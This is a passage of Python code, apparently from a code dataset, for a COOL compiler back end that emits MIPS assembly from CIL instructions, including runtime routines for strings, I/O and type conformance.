{}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('mul $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Div)\n def visit(self, node: cil.Div):\n self.write_file('# /')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file(f'beqz $a1 _div_error_{node.id}_')\n self.write_file('div $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'b _div_end_{node.id}_')\n self.write_file(f'_div_error_{node.id}_:', tabbed=False)\n self.write_file('la $a0 _div_zero_msg')\n self.write_file('li $v0 4')\n self.write_file('syscall')\n self.write_file('la $a0 _abort_msg')\n self.write_file('li $v0 4')\n self.write_file('syscall')\n self.write_file('li $v0 10')\n self.write_file('syscall')\n self.write_file(f'_div_end_{node.id}_:', tabbed=False)\n\n @visitor.when(cil.Equal)\n def visit(self, node: cil.Equal):\n self.write_file('lw $t0 {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $t1 {}($fp)'.format(self.offset[node.right]))\n self.write_file(f'beq $t0 $zero _eq_false_{node.id}_')\n self.write_file(f'beq $t1 $zero _eq_false_{node.id}_')\n self.write_file('lw $a0 0($t0)')\n self.write_file('lw $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n INTEGER_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n BOOLEAN_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(STRING_CLASS))\n )\n self.write_file(f'bne $a0 $a2 _not_basic_type_{node.id}_')\n self.write_file(f'_eq_str_{node.id}_:', tabbed=False)\n self.write_file('lw\\t$t3 12($t0)')\n self.write_file('lw\\t$t3 12($t3)')\n self.write_file('lw\\t$t4, 12($t1)')\n self.write_file('lw\\t$t4, 12($t4)')\n self.write_file(f'bne $t3 $t4 _eq_false_{node.id}_')\n self.write_file(f'beq $t3 $0 _eq_true_{node.id}_')\n self.write_file('addu $t0 $t0 16')\n self.write_file('lw $t0 0($t0)')\n self.write_file('addu $t1 $t1 16')\n self.write_file('lw $t1 0($t1)')\n self.write_file('move $t2 $t3')\n self.write_file(f'_verify_ascii_sequences_{node.id}_:', tabbed=False)\n self.write_file('lb $a0 0($t0)')\n self.write_file('lb $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('addu $t0 $t0 1')\n self.write_file('addu $t1 $t1 1')\n self.write_file('addiu $t2 $t2 -1')\n self.write_file(f'bnez $t2 _verify_ascii_sequences_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_not_basic_type_{node.id}_:', tabbed=False)\n self.write_file(f'bne $t0 $t1 _eq_false_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_eq_int_bool_{node.id}:', tabbed=False)\n self.write_file('lw $a3 12($t0)')\n self.write_file('lw $t4 12($t1)')\n self.write_file(f'bne $a3 $t4 _eq_false_{node.id}_')\n self.write_file(f'_eq_true_{node.id}_:', tabbed=False)\n self.write_file('li $a0 1')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'b end_equal_{node.id}_')\n self.write_file(f'_eq_false_{node.id}_:', tabbed=False)\n self.write_file('li $a0 0')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'end_equal_{node.id}_:', tabbed=False)\n\n @visitor.when(cil.LessThan)\n def visit(self, node: cil.LessThan):\n self.write_file('# <')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('slt $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.EqualOrLessThan)\n def visit(self, node: cil.EqualOrLessThan):\n self.write_file('# <=')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.GetAttrib)\n def visit(self, node: cil.GetAttrib):\n self.write_file('# GETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.Allocate)\n def visit(self, node: cil.Allocate):\n self.write_file('# ALLOCATE')\n if node.ttype == VOID_TYPE:\n self.write_file(f'la $v0 {VOID_MIPS_NAME}')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n else:\n offset_proto = self.type_index.index(node.ttype) * 8\n self.write_file('lw $t0 {}($s0)'.format(offset_proto))\n self.write_file('sw $t0, 0($sp)')\n self.write_file('addiu $sp, $sp, -4')\n self.write_file('')\n self.visit(cil.Call(dest=node.dest, f='Object_copy'))\n self.write_file('addiu $sp, $sp, 4')\n self.write_file('')\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.VCall)\n def visit(self, node: cil.VCall):\n self.write_file('# VCALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n if node.ttype[0] == '_':\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n else:\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n self.write_file(f'mulu $a2, $a2, 8')\n self.write_file(f'addu $a2, $a2, $s0')\n self.write_file(f'lw $a1, 0($a2)')\n self.write_file(f'lw $a2, 8($a1)')\n self.write_file(f'lw $a0 {node.f * 4}($a2)')\n self.write_file(f'jalr $a0')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n if node.ttype[0] != '_':\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n else:\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.PushParam)\n def visit(self, node: cil.PushParam):\n self.write_file('# PUSHPARAM')\n if node.name[0] != '_':\n self.write_file('li $a0, {}'.format(self.type_index.index(node.\n name)))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))\n self.push()\n self.write_file('')\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n\n @visitor.when(cil.Return)\n def visit(self, node: cil.Return):\n self.write_file('# RETURN')\n self.write_file('lw $v0, {}($fp)'.format(self.offset[node.value]))\n\n @visitor.when(cil.Label)\n def visit(self, node: cil.Label):\n self.write_file('_cil_label_{}:'.format(node.name), tabbed=False)\n\n @visitor.when(cil.Goto)\n def visit(self, node: cil.Goto):\n self.write_file('# GOTO')\n self.write_file('j _cil_label_{}'.format(node.label))\n self.write_file('')\n\n @visitor.when(cil.IfGoto)\n def visit(self, node: cil.IfGoto):\n self.write_file('# IF GOTO')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.condition]))\n self.write_file('bnez $a0, _cil_label_{}'.format(node.label))\n self.write_file('')\n\n def static_datas(self):\n self.write_file('str_buffer: .space 1025')\n self.write_file('')\n self.write_file(\n '_index_negative_msg: .asciiz \"Index to substr is negative\\\\n\"')\n self.write_file(\n '_index_out_msg: .asciiz \"Index out range exception\\\\n\"')\n self.write_file('_abort_msg: \"Execution aborted\\\\n\"')\n self.write_file('_div_zero_msg: \"Division by zero exception\\\\n\"')\n self.write_file('')\n\n def entry(self):\n self.write_file('entry:', tabbed=False)\n self.visit(cil.Call(dest=None, f='build_class_name_table'))\n self.visit(cil.Call(dest=None, f='allocate_prototypes_table'))\n self.visit(cil.Call(dest=None, f='build_prototypes'))\n self.visit(cil.Call(dest=None, f='build_dispatch_tables'))\n self.visit(cil.Call(dest=None, f='build_class_parents_table'))\n self.visit(cil.Allocate(dest=None, ttype='Main'))\n self.write_file('sw $v0 0($sp)')\n self.write_file('addiu $sp $sp -4')\n self.visit(cil.Call(dest=None, f=f'Main_{INIT_CIL_SUFFIX}'))\n self.write_file('addiu $sp $sp 4')\n self.write_file('sw $v0 0($sp)')\n self.write_file('addiu $sp $sp -4')\n self.visit(cil.Call(dest=None, f='Main_main'))\n self.write_file('addiu $sp $sp 4')\n self.write_file('li $v0 10')\n self.write_file('syscall')\n\n def object_abort(self):\n self.write_file('function_Object_abort:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('jr $ra')\n self.write_file('')\n\n def object_copy(self):\n self.write_file('function_Object_copy:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $t0 12($fp)')\n self.write_file('lw $a0 4($t0)')\n self.write_file('move $t4 $a0')\n self.write_file('li $v0 9')\n self.write_file('syscall')\n self.write_file('move $t2 $v0')\n self.write_file('li $t3 0')\n self.write_file('_objcopy_loop:', tabbed=False)\n self.write_file('lw $t1 0($t0)')\n self.write_file('sw $t1 0($v0)')\n self.write_file('addiu $t0 $t0 4')\n self.write_file('addiu $v0 $v0 4')\n self.write_file('addiu $t3 $t3 4')\n self.write_file('ble $t4 $t3 _objcopy_loop')\n self.write_file('_objcopy_div_end_:', tabbed=False)\n self.write_file('move $v0 $t2')\n self.write_file('jr $ra')\n self.write_file('')\n\n def object_typename(self):\n self.write_file('function_Object_type_name:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a1 0($a1)')\n self.write_file('mulu $a1 $a1 4')\n self.write_file('addu $a1 $a1 $s1')\n self.write_file('lw $a1 0($a1)')\n self.write_file('move $a2 $0')\n self.write_file('move $t2 $a1')\n self.write_file('_str_len_clsname_:', tabbed=False)\n self.write_file('lb $a0 0($t2)')\n self.write_file('beq $a0 $0 _end_clsname_len_')\n self.write_file('addiu $a2 $a2 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _str_len_clsname_')\n self.write_file('_end_clsname_len_:', tabbed=False)\n self.write_file('sw $a2, 12($v0)')\n self.write_file('sw $v0, 12($v1)')\n self.write_file('sw $a1, 16($v1)')\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_length(self):\n self.write_file('function_String_length:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 12($fp)')\n self.write_file('lw $v0 12($a0)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_in_int(self):\n self.write_file('function_IO_in_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $t0 $v0')\n self.write_file('li $v0 5')\n self.write_file('syscall')\n self.write_file('sw $v0 12($t0)')\n self.write_file('move $v0 $t0')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_in_string(self):\n self.write_file('function_IO_in_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('sw $v1 12($v0)')\n self.write_file('move $t5 $v0')\n self.write_file('la $a0 str_buffer')\n self.write_file('li $a1 1025')\n self.write_file('li $v0 8')\n self.write_file('syscall')\n self.write_file('move $a0 $0')\n self.write_file('la $t2 str_buffer')\n self.write_file('_in_string_str_len_:', tabbed=False)\n self.write_file('lb $t0 0($t2)')\n self.write_file('beq $t0 $0 _end_in_string_str_len_')\n self.write_file('beq $t0 10 _end_in_string_str_len_')\n self.write_file('addiu $a0 $a0 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _in_string_str_len_')\n self.write_file('_end_in_string_str_len_:', tabbed=False)\n self.write_file('sw $a0 12($v1)')\n self.allocate_memory()\n self.write_file('la $t4 str_buffer')\n self.write_file('move $t1 $v0')\n self.write_file('_in_str_copy_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_copy_')\n self.write_file('beq $t0 10 _end_in_str_copy_')\n self.write_file('sb $t0 0($t1)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('j _in_str_copy_')\n self.write_file('_end_in_str_copy_:', tabbed=False)\n self.write_file('sw $v0 16($t5)')\n self.write_file('la $t4 str_buffer')\n self.write_file('_in_str_clean_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_clean_')\n self.write_file('sb $0 0($t4)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _in_str_clean_')\n self.write_file('_end_in_str_clean_:', tabbed=False)\n self.write_file('move $v0 $t5')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_int(self):\n self.write_file('function_IO_out_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 12($a0)')\n self.write_file('li $v0 1')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_string(self):\n self.write_file('function_IO_out_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 16($a0)')\n self.write_file('li $v0 4')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def conforms(self):\n self.write_file(f'function_{CONFORMS_FUNC}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t0 12($fp)')\n self.write_file(f'lw $t1 16($fp)')\n self.write_file(\n f'beq $t1 {self.type_index.index(OBJECT_CLASS)} _conforms_ret_true_'\n )\n self.write_file('_conforms_loop_:', tabbed=False)\n self.write_file('beq $t0 $t1 _conforms_ret_true_')\n self.write_file(\n f'beq $t0 {self.type_index.index(OBJECT_CLASS)} _conforms_ret_false_'\n )\n self.write_file('mulu $t0 $t0 4')\n self.write_file('addu $t0 $t0 $s2')\n self.write_file('lw $t0 0($t0)')\n self.write_file('j _conforms_loop_')\n self.write_file('_conforms_ret_true_:', tabbed=False)\n self.write_file('li $v0 1')\n self.write_file('j _conforms_ret_')\n self.write_file('_conforms_ret_false_:', tabbed=False)\n self.write_file('li $v0 0')\n self.write_file('_conforms_ret_:')\n self.write_file('jr $ra')\n self.write_file('')\n\n def isvoid(self):\n self.write_file(f'function_{ISVOID_FUNC}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=BOOLEAN_CLASS))\n self.write_file(f'lw $t0 12($fp)')\n self.write_file(f'la $t1 {VOID_MIPS_NAME}')\n self.write_file(f'beq $t0 $t1 _is_void_true_')\n self.write_file(f'sw $0 12($v0)')\n self.write_file(f'j _is_void_end_')\n self.write_file(f'_is_void_true_:', tabbed=False)\n self.write_file(f'li $t0 1')\n self.write_file(f'sw $t0 12($v0)')\n self.write_file(f'_is_void_end_:', tabbed=False)\n self.write_file(f'jr $ra')\n self.write_file(f'')\n",
"<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n\n def __init__(self, inherit_graph, output_file='mips_code.mips'):\n self.inherit_graph, _ = inherit_graph\n self.offset = dict()\n self.type_index = []\n self.dispatchtable_code = []\n self.prototypes_code = []\n self.cur_labels_id = 0\n self.output_file = output_file\n\n def push(self):\n self.write_file('sw $a0 0($sp)')\n self.write_file('addiu $sp $sp -4')\n\n def pop(self, dest=None):\n self.write_file(f'addiu $sp $sp 4')\n\n def write_file(self, msg, mode='a', tabbed=True):\n f = open(self.output_file, mode)\n f.write('{}{}\\n'.format('\\t' if tabbed else '', msg))\n f.close()\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n\n def new_labels_id(self):\n self.cur_labels_id += 1\n return self.cur_labels_id\n\n @visitor.on('node')\n def visit(self, node):\n pass\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n\n @visitor.when(cil.Data)\n def visit(self, node: cil.Data):\n self.write_file(\n f'{node.dest}: .asciiz \"{str(node.value.encode())[2:-1]}\"')\n\n @visitor.when(cil.Type)\n def visit(self, node: cil.Type):\n self.dispatchtable_code.append(f'# Type {node.type_name}')\n self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node.\n methods)))\n self.dispatchtable_code.append('li $v0 9')\n self.dispatchtable_code.append('syscall')\n for i in range(len(node.methods)):\n self.dispatchtable_code.append('la $t1 function_{}'.format(node\n .methods[i].function_name))\n self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i))\n self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self.\n type_index.index(node.type_name)))\n self.dispatchtable_code.append('sw $v0 8($t0)')\n self.dispatchtable_code.append('')\n self.prototypes_code.append(f'# Type {node.type_name}')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('li $v0 9')\n self.prototypes_code.append('syscall')\n class_index = self.type_index.index(node.type_name)\n self.prototypes_code.append('li $a0 {}'.format(class_index))\n self.prototypes_code.append('sw $a0 0($v0)')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('sw $a0 4($v0)')\n self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index))\n self.prototypes_code.append('')\n\n @visitor.when(cil.Function)\n def visit(self, node: cil.Function):\n self.write_file(f'function_{node.name}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'subiu $sp, $sp, {4 * len(node.vlocals)}')\n for i in range(len(node.args)):\n self.offset[node.args[i].name] = 12 + i * 4\n for i in range(len(node.vlocals)):\n self.offset[node.vlocals[i].name] = i * -4\n for inst in node.body:\n if isinstance(inst, cil.Equal) or isinstance(inst, cil.Div):\n inst.id = self.new_labels_id()\n self.visit(inst)\n self.write_file(f'addiu $sp, $sp, {4 * len(node.vlocals)}')\n self.write_file('jr $ra')\n self.write_file('')\n\n @visitor.when(cil.Assign)\n def visit(self, node: cil.Assign):\n self.write_file('# ASSIGN')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.source]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Plus)\n def visit(self, node: cil.Plus):\n self.write_file('# +')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('add $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Minus)\n def visit(self, node: cil.Minus):\n self.write_file('# -')\n if isinstance(node.left, int):\n self.write_file('li $a0 {}'.format(node.left))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sub $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Mult)\n def visit(self, node: cil.Mult):\n self.write_file('# *')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('mul $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Div)\n def visit(self, node: cil.Div):\n self.write_file('# /')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file(f'beqz $a1 _div_error_{node.id}_')\n self.write_file('div $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'b _div_end_{node.id}_')\n self.write_file(f'_div_error_{node.id}_:', tabbed=False)\n self.write_file('la $a0 _div_zero_msg')\n self.write_file('li $v0 4')\n self.write_file('syscall')\n self.write_file('la $a0 _abort_msg')\n self.write_file('li $v0 4')\n self.write_file('syscall')\n self.write_file('li $v0 10')\n self.write_file('syscall')\n self.write_file(f'_div_end_{node.id}_:', tabbed=False)\n\n @visitor.when(cil.Equal)\n def visit(self, node: cil.Equal):\n self.write_file('lw $t0 {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $t1 {}($fp)'.format(self.offset[node.right]))\n self.write_file(f'beq $t0 $zero _eq_false_{node.id}_')\n self.write_file(f'beq $t1 $zero _eq_false_{node.id}_')\n self.write_file('lw $a0 0($t0)')\n self.write_file('lw $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n INTEGER_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n BOOLEAN_CLASS)))\n self.write_file(f'beq $a0 $a2 